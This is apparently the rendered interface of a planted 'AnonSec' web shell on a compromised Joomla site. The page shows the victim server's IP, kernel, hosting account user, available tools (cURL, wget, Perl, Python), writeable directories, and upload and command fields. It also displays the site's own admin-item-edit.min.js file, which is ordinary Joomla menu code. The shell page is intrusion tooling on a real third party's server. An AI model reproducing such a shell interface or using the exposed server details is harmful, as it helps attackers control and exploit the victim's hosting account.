AnonSec Shell
Server IP : 54.36.91.62  /  Your IP : 216.73.217.111
Web Server : Apache
System : Linux webm013.cluster127.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
User : coopiak ( 151928)
PHP Version : 8.3.23
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coopiak/amisdesseniors-fr/montpellier/media/com_menus/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/coopiak/amisdesseniors-fr/montpellier/media/com_menus/js/admin-item-edit.min.js
/**
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */if(!window.Joomla)throw new Error("core.js was not properly initialised");Joomla.submitbutton=(e,n)=>{e==="item.setType"||e==="item.setMenuType"?(e==="item.setType"?(document.querySelectorAll('#item-form input[name="jform[type]"]').forEach(t=>{t.value=n}),document.getElementById("fieldtype").value="type"):document.querySelectorAll('#item-form input[name="jform[menutype]"]').forEach(t=>{t.value=n}),Joomla.submitform("item.setType",document.getElementById("item-form"))):e==="item.cancel"||document.formvalidator.isValid(document.getElementById("item-form"))?Joomla.submitform(e,document.getElementById("item-form")):document.querySelectorAll("#item-form .modal-value.invalid").forEach(m=>{m.parentElement.querySelector('.js-input-title, [type="text"]').classList.add("invalid")})},window.addEventListener("message",e=>{e.origin===window.location.origin&&e.data.messageType==="joomla:content-select-menutype"&&Joomla.submitbutton("item.setType",e.data.encoded)});const onChange=({target:e})=>{const n=e.value;Joomla.request({url:`index.php?option=com_menus&task=item.getParentItem&menutype=${n}`,headers:{"Content-Type":"application/json"},onSuccess(t){const m=JSON.parse(t),o=document.getElementById("jform_parent_id").closest("joomla-field-fancy-select");o.choicesInstance.clearChoices(),o.choicesInstance.setChoices([{id:"1",text:Joomla.Text._("JGLOBAL_ROOT_PARENT")}],"id","text",!1),m.forEach(l=>{const i={};i.innerText=l.title,i.id=l.id,o.choicesInstance.setChoices([i],"id","innerText",!1)}),o.choicesInstance.setChoiceByValue("1");const r=document.createEvent("HTMLEvents");r.initEvent("change",!0,!1),document.getElementById("jform_parent_id").dispatchEvent(r)},onError:t=>{Joomla.renderMessages(Joomla.ajaxErrorsMessages(t))}})},element=document.getElementById("jform_menutype");element&&element.addEventListener("change",onChange),document.getElementById("item-form").addEventListener("submit",()=>{document.getElementById("jform_params_login_redirect_url")&&document.getElementById("jform_params_logout_redirect_url")&&(document.getElementById("jform_params_login_redirect_url").closest(".control-group").classList.contains("hidden")||(document.getElementById("jform_params_login_redirect_menuitem_id").value=""),document.getElementById("jform_params_login_redirect_menuitem_name").closest(".control-group").classList.contains("hidden")||(document.getElementById("jform_params_login_redirect_url").value=""),document.getElementById("jform_params_logout_redirect_url").closest(".control-group").classList.contains("hidden")||(document.getElementById("jform_params_logout_redirect_menuitem_id").value=""),document.getElementById("jform_params_logout_redirect_menuitem_id").closest(".control-group").classList.contains("hidden")||(document.getElementById("jform_params_logout_redirect_url").value=""))});

Anon7 - 2022
AnonSec Team